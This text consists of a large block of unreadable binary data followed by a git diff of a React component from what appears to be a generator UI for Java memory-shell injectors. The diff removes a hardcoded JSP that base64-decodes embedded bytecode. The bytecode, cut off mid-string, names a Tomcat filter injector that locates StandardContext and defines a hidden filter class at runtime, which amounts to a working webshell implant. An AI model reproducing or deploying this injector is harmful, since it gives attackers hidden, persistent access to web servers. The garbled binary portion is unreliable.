z1b@inMM@t8t{pgxYhbWAxf-7kYS90IOd3M;sC%%kYIV$7n&?(tkcvS*69gfaGly!t zzJrC;I^-JvmfHsBIt|p^Hi*Y+)7N2_;BO{QxJu7$kb zEJ8{d8>;UPxMrG`z9!BfTYTb1gHt*o$2Y_ROv6v2YC*VLrE$86;G)S`-36qY$*GFL z6ujiXVx*!qUHxNlCX<_B<)Z0^WgLgSuC*0S3_p6kEc%QlGMvLfV|X2I+0>w4i%i8P zvi>PJ8VabC57vib9LQrVmzeAG!BMZH>dL|T3o3_*bPq0B20c$khzJ%w)vG$iiY^(M z26-CgBh^W%7LAzIQ*4y&&_{jZ=qP*#oXNK!m`hD6!_g016U6}7f5gBG!*SdS69oKW z*iV@^(|CO8?jFckXq2#r%YmUVQi!2H>M+ygp)^e7j zbpcsQ$?^z5MXe7~O5SFqqPZ37Xr&38Bc;@VgrfBeQc7**G5ShgGEz!yn~_3+*t+IO z;8X{8G;Tv`Cy<4NqIE&eB4K%iw_KYzuq~g^-k^Vh3>tDlo=tUQxn&1~I4qV&g6xas z6FL}l5eSgh%9KS4GZPCQf?T}Rjz@Mhi0m2X5KPAWrJQBRd)Nz8wVt z{fL8gOk>Q|j=T`EXC1j^XM?T-rcyg@)j3q$(1}mzY|smx1p#A1CzEx8bzQ;LgFMpMv6M`I68kjQ9D%U)kP4x%XtMz;m8N69abKkJ9P@xcSMRN9FA$2@iV{$DOQ6! z53VLSoV$Aj>q;ij?4cURBZcE8%(ylYSj%wG(p5?pgkYZCyRJDBh~=bE-Abeob$#S4togm_n&U8q9LT1~si@>4 zS(SUsaSLI8q!8XnZIe^kJ?omMXjx4^rE)%{E__Or?<4D>fRaER>yg43zzijUta^Rr zETq2ulsbkK<^%GqQnggfr__v3sS9%IL{eSWk5A}h(D&)594T;^{wi2J-j7@MHRwMg z6A_BOp;P(J{VB94Fn1xlxY~mt61FS))5!-MwIfgaLe0&MM)28SVH8DDDfC3c_V7U2c~&sP%dIyt_5K# z6bCSF@>Y~mM_@4IS}+tc9VBZB!slo)$i7kKM9HxcDo>Q^8;P6Daz&$5K~YMEeXHgZ zr3%KVd{IhzV*#S$R5?-7&r*4!WY83V8lDD_KBub@+BiUhTw<^lrKBhUL}vm5pF1F! zA0J>rkOO2927F>}zK_E(szpC^qXi4A!Ko$J~ke`nME8v65 zQz0_U0+bB30wsMLP|`20(z2kmm1St36dY866DW9>A6{S?J9rDSb&Y+|cr|QMg{HB6kRY5mUQtSyzhV%t31^NvrRV1$mDkXjt z^2xK&ptKRCXhadO39!p$ftUys&b+fY0Ff8nW(g1Bm>evDf}PiGd@}J z-*1SD(t|j(6{XZ8YmiT(bt>HeO6%@+$}B=N{+jVmJQa3RL0#(((CSkYpt^$q+KN&# z=yNBG$hMaSRIn~UV-^Pd=gjd>XOPq_=>YZjf6g5LbLNOJpfkw-oH^3O_|KW+f6g2~ ze}0Bz`{xD!m-6Y{;=g0Sf6g3*|C~9RPEBc%FM6u_7ykeCnPb&|I#c{4=R?P(^Ty+i zJY>8TpF7^j%=q2$vHT9Ws4OGX@w}{9J~PXTzXw;GH=Pj6znWmhS5Gi9J%0`E6}Zk5 zjjRM;J~5Urn`p(YCK;I(Z$BxPx0__ecY(9!`s`S4k!{8MWE=4i!ZvVQ!MRN~vNAk* zaxCvT*@~Y4XUCnU#B#?eR($vrBXi)#z#RqWGu6nP_|U1be8^NQ{tGx4UNt9{SIM#B z**Qk$#xH<753b%cBlF-{(_;DfX;%DqaOHVz9?S8B2%pQ1%!}UzcL!Y5bR(F^I+W!`iK{F?#)W*G7O$ZK$~z;(_w;=!8bx$rL+{z*pW!`n;nPlA8o{J4H5{F@2? zW*S)l-!?NA&)3-I#j+YaIS=0D!Mi*o9v^a=1@C6TyIDpS%#VRP3eIP?k=5oyXT!VM z@D5xkuQ~_b&4G7wjI18N0PZ}vdUK6by!LYVw;cX0H?nU0 zF1S13qE;ALBF|d^|5m_1a7n!BO8B=D{;f2!Wd0i5D{!4x8Ch?>d=>m#1^-qXSs%V_ z4g6be#qHJ@St_?(3;)(w@qufNtUuoeZY#Ko>x^sw@4pWIt+nE3!42f)*TcVcR(#BQ zBOA<5gF6bY)&?UR%13U1f9tLIO>kfHfQ|5PgB72#(a47LYv9gz`re4d^5N#zJ4|Q z1J?&WOyujg!oLD|w9Uw}dBQgMx7CUt0yl-*Zij!{;NNy*RF1M#$$RrVmCb@C{;of~ zZC>xq;(?OgZ=a~SesKPyw9Deo3mezBYkaE5s}s0#V!{XO51@3TTHDO;r#xStX5stl zmz+w$p7K=xY+Y&zE62R(Zy_~XFVsEGTkog)<14iX>47$+fP62 z8F=F7hzF_H288p@+a3AY9Y!{Tm*0tT+ktW0X=D;V4eltoTDy!akB{7iaodS;12>xo z?8dn5!no}=vbp>kxbxr|?=iCZJZBHaZMRjk%kiyCb$e0j-L1`|j;|ZK+$?5wlgW8j z^Cz#qdHmh4OLD~My5j>kwaJZobZTZ<%VICa7#k-oZqR-6xwFTA*;%F6@xetrUdUti zWBB)AQ1=_77HiIfn%k7h^iNvxjJekjp5_sem)U3dljR<6mHucS{M`MG+03g$Q*8Gv zuiGvD(DW+D&S%ACeen8N`GC1ywUL)cYu ze;UySXK7L6oMt<1Xr(XXU90u-ZGLT=cKbfU+CHkTW!a%Ri%BnP>RDGun z;_-xu8xjg`3_h}NW~&@wlB3x8_}oG9Nj!V6V@9HPP7QSrQ_qvMaG5i%Ba2USe0szytbDpVqJbw z>+I^!zd67oudmzYtYI&tmRExwSM#ep<=fDv`TH_oCl(&>F)+V;;eakq(~Bp65LV3{ zlU-_v`@J*u7JYL(f2wW5iO67HZ=YkckQJAwy6#@LuUz~O4+49AS9){OnTTGi1{^!_ z$5g4`)2@3Dz4DZW02vFRUWzI>W5bc9oyd-oN=J(lrl9Y`?+pC?Dcc)VT&EMUNAPU?;ZW|$m2H- zm4c2}b*z*>B_n2=cXFkg^K8wFRJxK6J%UNU--;(5Fh;E|+5zRS#kTczG`8HdukCv>Kg7TJSV8LOxD z>CmfMiGs!vK2`SCUN)ij_PL%-&YkUde{`|&XPllrH6FG3-Q`Z^%A1EbR@!ts-sh^r z#kE0UrCi?c-~Q9uMJ2lz>5h#>P4!9)sTfne!QICt#aV4upG|raS5eyZG5&GAuJ5A5 z0;}iy)SvFz{p290?=lXz>(Da)NS7@&f|r&n-a0p>pML*GzYR@!=R=PC{r5(;nKwO- z#p5szE60sd1w|Vf)@tg$hf|+e=4JZVowaqy^(CzuuK3C|*y)PhkG}qK=X|SZh5>D?(;ENw50dxjANLy4}=$qih-;Z5{iv&B0EQuNDX0?fEFbozuM?Z$f$nAbGMrprtQO)MT2h4h`jJIUljDu#}Z)hdB zhu)f~Uv%Gb={(nFbLZG?teT#_t=saRJ^}BlzwJJyyVZ{#gDVd&-u!9svKhyJyqh+Z zpE&B6(f;cB>fIh!-1FKdzUR=(S$*o2{BBH%+4`e(_cx1-?Y`Zsx_ODW!Lhc34xUTw z+2_TZ=5@RVudFgwJXd(JTF4)7C)pPnyFHq}WL%H*W*bV6xiM(up*B-Gytr|x%Z?~v z?bw?o+RZChbJWbGPAv-NL`0N+>~w!+v;4xe-iZ|))6e8O$L{ZWFZa}Wch}IieE2a( z?smw?_VI*+SX~QoFh6W$2YCO(IJkm43+@mvkJ&Txd#eol*V4E^An~_?|`|c06Bu|Mc|&Cx5$k z0lWX`e)U5Cmlt#wU4Cki&wbw=PE75`>mA2@!Pp%uT5W^s@s}=iS^KWjun$X&hT~%U zZ|4X7aQ1qbwf<%F+^+cz`EM1?eUEn^)*w8fMfl>X7FWg$eo>lV3(PxSrdgkZ7ZUjI zsI}HnBm17)p2GTZ!YU)@+#k2chwOUREqiUFTHTHxT={d~PWSreh);}FOGgYF*y?SL zzPe-84_P_C^{f73?yj0|TKy97uJ=k``!#RRo;}cue)ZCh5+{n9y7c;`>9rdlczu-* zv|rgcDPi%%@4s6Rl{+G!(Vh-=U1rDmRp?gYt?etPvid=t*~H~P&!2SetvEgYZr0mY z*?D7oI1J`dCml1K+BR!)dquS$3WuF={&h*UJ$JU8UT598>bq6tT6wrVJMjBK%k-g( zzv+5V->ZMynL7(MR5eyQy<)?dq+2nCYrgrRa(of%ekf|)jJdYgmkbi)<|j=WrJwWg zy#u%3xzx4OS1Wx_ejQk~U7U+wWWBzg%bd>Se6>4b-huQdNvG3p6|-CIKER?!gEkvC zpXBdPIyU>@;~}lBb7E0PEAfQ)HZkS+x3d?v2)yF;?eGG={^5#hJ%tOq)=GEV z`rP(o!B^8KR`Fjr`up`i<|KtJnod6{YJGQ_4?Tlr@dunEpE0r@dDS0d*-v~V_GkG8 z?9cIlpJLh1JPZ5t{2KNbc>|&>{t~~7{bk{6|bEnI(>>=-u{U7`o_K$e^Ut-x~J{0>W{51AYdDSbi>=_@4{d0Z+`xiXm*I4nT zz$g6LR(vJ!>maWMUgv6C@r}TzfxH#?J&<<-Z+NY(_+H?%Kt2fk3CKr*M_zBs1pfMZ zEW?w#H)5H{mt$|n*>ACUPQE?%I=&wJVqAYS7MH6D*jw;z*z39NEgXQa<0SYNU99c{ zx9kSih1+zo+W$6Amw&^$0M441zk}1|n>bm#Ll>*3!EFUs>n>faj=YP@fm=9P1ZT$s z?%~LA8z+nR=wkI6xTD}2-=~Y!ocmbO@8BdKoC|O80H>9AagzUlE><6dI}fhS?{u-c z@OPY6-or`$L%LXvd59J3KF$Zhd2#j!RxEIdf6&G1dT=uz;3WSMU92WN!sWp4ILQZB zmD@gsf8Yi_HbzxLP-&a_*mg%I7>+OPR_L&D+wSoXk3CP1FXb5HV&k%b->rW3^z0yA zKcA65J$6|Tbm^?iN5|aQNnsDBy&K^>%dEUpK*cgrlQbkFVlkGIcf9=y2jr_k6xM(IXGH*dS@jFrc$2W$GQ?=|Lw)cQ>InO7`4 zZOhS<0a}#%@cvKG-G5kR^ji?`>T>by^2xD()DafHv=+-e3o8Di$(RT6H&)n|Jih+w zdVinF`@L=Tb^mZWeBkoyoB1{sddzTc^ycty4Tb8vh8C%m9xc!|^X#}D?Pfg~m+s)6 z`!Usb%|P#UyHpqv7S2kP^zx>tnw#8>{T4MP`_o|3>0sQn+MA0Ke(K91%3XFV)D0+-2 z0#}O%JVz8gK@>fwn*!IK$FdM!`$a5n3FKg3hu_6Mls9-8%j)tx?CbHz*c*7$SFyMm zun_zD{5AFsc+Bfq{1eo2>>F|RCYFWs_SiS(>#>jE`nR#T36OyOS9}}xO}Xv6SQg2X zu{ZL4*f--&?_+WK-yi#EehmBOeCUT*)`FkLK89EQ7~8&O(Vnhs+x5k&oJu_1H^8ND z(1|BjzDIVo_%82#lY{P8qNg4o5~N?Ws!zC2-{H?5Y$`TB@NjlqmgQ;P@^=H;R;gE` z+>?@DqfkG}4{Wh~Jb`>L@@R zt(lzP%$ix~oPF`Y2vrnDd158Mf_c^~!dy`(%PgE)Hd6n~6v3mSr?!Xmus@r z{`vCTsDe`V?3Pk}Nk>$l*jBYuuHH%epV@9H$-elHe)%_F`Tu97h1Tq?)X#~T>!Ld2 zXL_u#*ifm#MGrxYJQ;*`3wR`0!ELXg1f8 z<3nw|2v5dTA_Z)rstyKQSgOWmT{Vw>+^(VK)l>86;Rh;1n?cQ^=Q)H3nVueGAXx+C(E|(gK+sTtw)UzXqD7b>=ivEcO2rv{F27C>C0}Ka70CZ=YVqqjO3iuWn4bamd zhtaM#Xf?nG!0#&=f-4ekfIHv;lmqB-0s}zLCwKtmfbxJBPywK!tqfEFssh!3>VOY` z2_^Ue{y+c_2-E=R$*OC>b%36>`UyBo52&3(;%DGIZ~?doYzDRfivWrldLWJBBp3(* zY6BD_6h{;eG}MiNaG)`891YTm?n!`7DNg}MfqlRdfNqt12jruDVHrTdMbGybfH0sw z&TH0p>45`b<1{Ti_xpcu^pynqToMIaLLMnFb5 zc8!7FKnl0&<2PGj6i)L2%yJCY5``b&>YYK#em{~1)v8kff7JT zzzQe@SOYeIt%!dUD2+rJpe$eq*aHrLBj5x$1N1Z;-7R?xJOQ2p&w%H^3*aR{httsX#v<4WLOt&lDPgC?Fc3rz_6_djYxxUJ0xMx}c8kKr0{$Xb!Xh z=0mm+SOhc&dH~tTuLMLOJqS(b_heQX!@ztE^arq}30QCC2bSrXFic|kSwmV5X!^$h zdyuyUpgRa#fo;HcU=6SqSO=^JHUJxe7&O=dl%A7n0y+*D4~zl6LG{9LBd<)PzvJ*VrM%VO5C{8nhPQYAX9xwx#4a@{a0V9E2 zfSwlaO3~FCiKhTVgZ+WkNYmmt703am0UVeP%m8u$3784w0kfpdJy_+2OORX&dO3>(sZn2mo;Ia2bP}uw1fT>6suoTIr+||H zO<qQNd zunbTdum#Ejc7Ovw2D$+r0O@%G_fh3iV1N{~l3ycCr0;vE6(@>y4&<_{_3A(OW4H&4V zsdq;J!-21XVZb*)CNLWKmd1Y!661jh05w3E1WW;@s_FTll%EAm10*09m;p=&I6#3$ za?+az%mwlQS_$R=vs9kwY>g)isgV`H8eloF5?Bp<2P_5_0$LPnMl4eEh$k6QDo6D! z1E?M;}H0@h8u;?x9Ml z!Ck;kU?cF?hIb%uE3g?T05$=nLu0)KpnQ%0YkE6m+lt6%(fDhX6)i;G6Hgm?m<3Rt z=5^8heaJry><4HF_X5;oq))v`&V8v|hE~x5C}|BHLi(Tzs)TfC)8s`fRwO2wrl$=h z>5>73pQ#7=8FJ-Ru~uLW(llm&odI8pgU=aQv@RO&9{|$(`wT$;lk&eBFhz~h;^s?n zQq%~o+}{G)rAW8lh9M<@Ge969*`~9~Qn_@d)7_#hDIuLz^Sp%QMc@K(9{3qJ2b=|d z0)7;vHR;TtdxZ2KQoVHMkzvkoXaq!n0ag$>0@N7g)4#412Xp|v?~LSBhW=&68z=+N zuZEVuX~?WVO9Qq5J*-#~pge1!l$zFbKr@7@$fU|VfGU79P#MsaDj{7SpgS90fG1E9 zr~tSCb^w)e1jsN4z#eb{sEjK>4O1IbC*@HcR99)boT17|KnA!2bSI!5?_r-qfra3n;!6`(m}MH$q6)J5@)-Lwj;e-9XCnpLSh5S_#NM! zaU6WQx=GRulCqFk=GGejjZa4RD3d5&t?q@-y37{0ei>|%Xs;selyI`}K{JbyCP@m) zka6^KDcv87Tbm@>o9?QZC)+g9zZqhZ3`QADq0F_v-^mDl*tf%K@sqC<6K)XIv%fLP z(XNV(NkWUT9VE-DkDAcxnM);;WFI6hkc^%mH1^nvBZo|q%aGVZV%>Ujm9N&!s$h~l zfrNS?Lwiw`Nko&F3aPK43N=Y+rcfd6rC25jMIe>A9e&)UR@vEpCP@S&PLRBO;<&T7 zeR_S9qzfb-m|mGzbYF*_JK(m-BpLw`b&z96ao^<+&w808+KVMyUFmqE<1d*dOp;ub zp;$O5+->zFJE@vUqP;d!d)t>uvWTX)9)+}bf0;xpRTH#Vg_$G=AVIKZu1SV z-Xu8Ku9Zu-ulvFQ(KLQSu+o9BVy*207}V`a@oh z!|+ z&T5D=&7@ny(Fu|$Igen?n4E1d4IjaRMb!-*jGd#CPK|)E+8cV8W-ajYj$UL?>qCS4 zi%I4gsGyV-lfj&rtJIrFC233sT8X!iwnONuy|~wM?zM}fi{Ge$;(>4k4cxGlJTqA{ zv2O{fUnWN2Cc1?Bx!%*g>kDma^@L`yqN%;Z*SuX|>l4LR9D<~l(xbymO1n|kMSDx{ z#O~AA@4R^ISGg5`8lwp5aVB#T(e))q!f9p5nz7+;jHPfdV?98?B# z)hM*t%SO673Jz+oC~gz~;NzRA2`^+Lp^FnZxK6?MCyBpr%})X0s=W$#wq3zJ=P^5b zqpZJg4LJyHrLNzim5sJi?ziahgSN^_aWAIZ*DWSi86j)RE=?>gefSn5s=a%-W!AYh z?(HHip`ixo;?h#!Xy$GCptLff)e_Q((agD)_PXG`&J~O8=n{Vw#b}103mRf&BJ(}O z>v1s;ANGT!HpU0$8>JJYnNuz8ZN^TeOQ*Ez@1DOpZdZ;NOE`d2nalvo$M?M>%9@Mp1&q)6XaB*o@t(CmPKH7-<{GNnQ(jt=1;f8DFCERo(si-CWIus@g?&c|VpTGix9zX+=E7QkyOx(;Vdz;8+${HUa!DwV2$y|AM z=K7_6CW(WWbbJD0PJ1_XgTR$un|IpHF=;gN%AJUS)?Q}qHZUQ3U+T+UCI#(v);^8H zLmV%(rGtVx&D5gW>#1Abe6euu&wFSds`Kj*&H-tL4j%kX`+?anikpgFswmAtv##p9 zuQQu(o43jNZ0lrbPT7*M6b*6S=V8aac0&s{`PPU7l>e!GMA;DKsT61QEO>A$^Y1=sk_CZMInKgGi$JO092RJ) z<*RM~qqSv=ktLeNs&#T+dJU=mY*v;QD`B#96%mrIxZ5UjJN9aZakqnZMSJ8vWFrmO;{^ z1>6`atnFF<4sg z-Mcdp|)9m_dIGASFpF`MDRC__|KUeK_ z@!ETYO(nx?ONNEa(N23o{g|sGGUA=q|0uFR-ykUO2o&Ml#|3j}v zSyaSA7>Hw75bmYcmYyxdQmMV)K6qF0f*r2SkElx}dgnoHso^5#t$SG;7sS#JlbD^Q zoJ8-otRqcbgojPy>u4hJWo_xvA{JOgTg@sbW`|1gi_!DBq0+F$f2y#8R-yJi0rBVl znNowmYO)pbu|u)bN3veR96ndM8k|yK9*g`m{lDBHMPs>0L@E=g-9LAz_V#}5z0Rib z(%#pvz2w;>*6>1Zy_ zku^694AOB42c|_VcP1vES(yCGS?2QQZl~u=JF`O`1Ud`~Wy7RsXowp9_d31EI;*;p zyOhQKPp?`QXr5@w{y@gUcwEepW;eTgYEjkqSw1NF{{C|0Y{mjCz z9oSbiRF0-QeV#T5ntNb8EkW`XpSB3f!>Jyn|AkfQ%SQZvx5|HJDC^LXH-=2yvX=tBDnKsh3{fI%& ztC%Ef8cUr})>ZqMN?7rj9%856lI&>d9a**jW$AivWkho4w6Mx^ zOd4CFCI9uPUHhPhcj+oM*u)zPO&ZtKvMKS4KAy|jhFdtA%`c;+5mZ+DXvXc_^d}3$ zUhFVwXrJ8}Z@#K$7uz~ROcMX*(s7h^jcBg)84rEn)hm0}c#}ql=D8bCx%LT=qc1W& zzFE?Sn-nrplZq!%8kNsuLJW&?6bLgHHZtb3ehPbAfbZ-L-Z1MNH z#CA$u+Q(+@hbAN(3yjvwrvtToYX%5jsz!n1q06UEefSL$x=VnobN_Zy%0?^%$_?bd z`(VRnp)6h2YhRk#^xFO6)XaHXQAe(o`yEAMEi>n_m=-TDU7~ z(?OcF13q|mkm_#2eM-L$%9J_NLF%^&`ByqfQ+LvZuWzuRed(s;w8pJ%N1tyZGH)#3 zwBbqW-OvuwKAPi}6WO=h0zTNJp?yZjzRay=RmOj{PqsilD=p|KmD~&)wGZsvYB9_# zs!d*j$wt+dpfA^nV-B_Z84BJheZy@9i{f-llm}Hs5WsaZ;R=xfNb$U*Ngl z>+7-lIzjVIWmm>YSGS;#v~Tj#wmaZ;z9&{F!*(e=xHrH+Z@yp2WwsZurAdvMbs3Sq`cGO;YIXMR{=%1C zEfRK?J6M&HrU~&bQ8HlS1$}w)ekqg!wNPytC}>|9df9Bs9|6C4DZlUpQlDwxA=18f zV;bl$TdNJKX;P@mgX`ZXHl{?7FYXZB?;!1kAA#EEu<9MQsM5;f$Y!NIe_S7HUq-6@ zu%)ZVwG)dWp*y8PlI2d;B1rv|RA%SyO@Gc8UVF>Z5L&#nk4=p)n|0(=!-HiM3H|P( zOOmSZV%}ouB&ppl79$1-QrJ%B;`GH5(yzOii#V#M^llgC!pWYJ|88{sXAkl6UFpvr zVr5B*=F$i%t9>VG-_4w5WgMEkl#e;GhV~_?pk~LnES$D!m`UOtEgeT$SMA$Vi_RK~u z``NP+S#m8}N$%v@b2>0WcNK+D}eENJQ+cKvG=xL1xF<-Yzt{{O7eDoxsr zx`MQ?dab%>Uu)lsXq-(Wp6RC@LHq8P^;0R=!|=lblO#7yD!CthuqI7;j^K3A#)f-N zK8Z7F98Qz!L&KnbTWtHRM8_u6dmS)oXkQ;|Go}8hHIdi7OcKXU_;CQ+%uQ16e%6vT zmhSFn9w7Py%%e^%Tjh84OKrYh61%dTQ+@FCT*63)Hl;q6t$C#xcpLDCYIkWBHmJ_e zN7dT8cuR{8u(?vFgKUz-4l!S;;~~~xFF(BC(>=A1H1!b1toUJ8SNi2JD^W1~FiZB3 zQj3elr6!M=zvOkBb&)b}v4Dci+l*OA^=~nQwD>uGaw@#VJPX1fv1d#S36>UqWS-Km z&zW9Y`+^mddOu-~7WDIlZ+g@I4lb$D-I;nqek7;>V&jW?}{D;!9RuvbGS5 zNh4@?#Y}XO0^Tuusmv?%!_-&IT6%3JCZWXybFrt?QwRBbb1|Ay+oVx9;TOg)P#RE7 zyv%~6g+DM4X3<)X!3GdGh*FW)j}X~}P_JPn4_;2m?WA`e;pw1n=-Lwp7%`=upz zOE1ddo3lO%X=$m0rTBL+NA8Hs_vnpjSDB0A7T5^s(L3f>(EI~yz$E(*tVr*}vkE2y zOn#L5b=u|oiv3Y`ePvM%eH&j)o6Aoy30nJ! x4(R*-mst6NY(Fu|qM%NQSdJlUeRa`C8tN(2GXhOVyS}hwZ*39{|jW`b { - setTimeout(() => { - setHasCopied(false); - }, 2000); - }, []); + if (hasCopied) { + setTimeout(() => { + setHasCopied(false); + }, 1000); + } + }, [hasCopied]); return ( + + - + + + Warning + 反编译还在开发中,因此当前仅能看到 base64 编码格式 + +
+
+
+ +

{generateResult?.injectorClassName}

+
+
+ +

{generateResult?.injectorSize ?? 0} bytes

+
+
+ +
+
); } - -const packerResult = `<%! - public byte[] decodeBase64(String bytecodeBase64) { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - try { - Class base64Clz = classLoader.loadClass("java.util.Base64"); - Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); - Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); - return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); - } catch (Exception ee) { - try { - Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); - return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); - } catch (Exception e) { - return null; - } - } - } -%> - -<% - String className = "org.apache.lEfaI.SignatureUtils"; - String base64Str = "yv66vgAAADIBvQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAQWNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdEZpbHRlckluamVjdG9yAQAKZ2V0Q29udGV4dAEAEigpTGphdmEvdXRpbC9MaXN0OwsADgAPBwAQDAARABIBAA5qYXZhL3V0aWwvTGlzdAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwsAFAAVBwAWDAAXABgBABJqYXZhL3V0aWwvSXRlcmF0b3IBAAdoYXNOZXh0AQADKClaCwAUABoMABsAHAEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwoACAAeDAAfACABAAlnZXRGaWx0ZXIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoACAAiDAAjACQBAAlhZGRGaWx0ZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYHACYBABNqYXZhL2xhbmcvRXhjZXB0aW9uCAAoAQAOe3t1cmxQYXR0ZXJufX0IACoBAA17e2NsYXNzTmFtZX19CAAsAQANe3tiYXNlNjRTdHJ9fQgALgEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIKADAAMQcAMgwAMwA0AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsIADYBAAxkZWNvZGVCdWZmZXIHADgBABBqYXZhL2xhbmcvU3RyaW5nCgAwADoMADsAPAEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsKADAAPgwAPwAcAQALbmV3SW5zdGFuY2UKAEEAQgcAQwwARABFAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwBHAQACW0IIAEkBABBqYXZhLnV0aWwuQmFzZTY0CABLAQAKZ2V0RGVjb2RlcgoAAgBNDABOAE8BAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsIAFEBAAZkZWNvZGUHAFMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQoAUgADBwBWAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQoAVQBYDAAFAFkBAAUoW0IpVgcAWwEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtCgBaAF0MAAUAXgEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgoAWgBgDABhAGIBAARyZWFkAQAFKFtCKUkKAFIAZAwAZQBmAQAFd3JpdGUBAAcoW0JJSSlWCgBSAGgMAGkAagEAC3RvQnl0ZUFycmF5AQAEKClbQgoAMABsDABtAG4BABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7BwBwAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uCgAwAHIMAHMATwEADWdldFN1cGVyY2xhc3MKAG8AdQwABQB2AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgB4AHkHAHoMAHsAfAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAHgAfgwAfwAgAQADZ2V0CgAIAIEMAIIAgwEADGludm9rZU1ldGhvZAEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoAMACFDACGAIcBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAQQCJDACKAIsBAAdnZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsKADcAjQwAjgCPAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaCgBBAJEMAJIAkwEAEWdldFBhcmFtZXRlclR5cGVzAQAUKClbTGphdmEvbGFuZy9DbGFzczsKADAAlQwAlgA8AQARZ2V0RGVjbGFyZWRNZXRob2QHAJgBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uCgCXAHUKAEEAeQcAnAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCeAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24KAJsAoAwAoQCLAQAKZ2V0TWVzc2FnZQoAnQB1BwCkAQATamF2YS91dGlsL0FycmF5TGlzdAoAowADBwCnAQAQamF2YS9sYW5nL1RocmVhZAgAqQEACmdldFRocmVhZHMKAAgAqwwAggCsAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsHAK4BABNbTGphdmEvbGFuZy9UaHJlYWQ7CgCmAIkIALEBABxDb250YWluZXJCYWNrZ3JvdW5kUHJvY2Vzc29yCgA3ALMMALQAtQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaCAC3AQAGdGFyZ2V0CgAIALkMALoArAEADWdldEZpZWxkVmFsdWUIALwBAAZ0aGlzJDAIAL4BAAhjaGlsZHJlbgcAwAEAEWphdmEvdXRpbC9IYXNoTWFwCgC/AMIMAMMAxAEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwDGAA8HAMcBAA1qYXZhL3V0aWwvU2V0CgC/AH4KADAAiQgAywEAD1N0YW5kYXJkQ29udGV4dAsADgDNDADOAI8BAANhZGQIANABABVUb21jYXRFbWJlZGRlZENvbnRleHQKAKYA0gwA0wDUAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwoAMADWDADXAIsBAAh0b1N0cmluZwgA2QEAGVBhcmFsbGVsV2ViYXBwQ2xhc3NMb2FkZXIIANsBAB9Ub21jYXRFbWJlZGRlZFdlYmFwcENsYXNzTG9hZGVyCADdAQAJcmVzb3VyY2VzCADfAQAHY29udGV4dAoAnQDhDAAFAOIBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYKAKYA5AwA5QDmAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7CgAwAOgMAOkA1AEADmdldENsYXNzTG9hZGVyCgAIAOsMAOwAiwEADGdldENsYXNzTmFtZQoA7gDvBwDwDADxADQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAlsb2FkQ2xhc3MKAAgA8wwA9ACLAQAPZ2V0QmFzZTY0U3RyaW5nCgAIAPYMAPcA+AEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IKAAgA+gwA+wD8AQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IIAP4BAAtkZWZpbmVDbGFzcwkBAAEBBwECDAEDAQQBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFMamF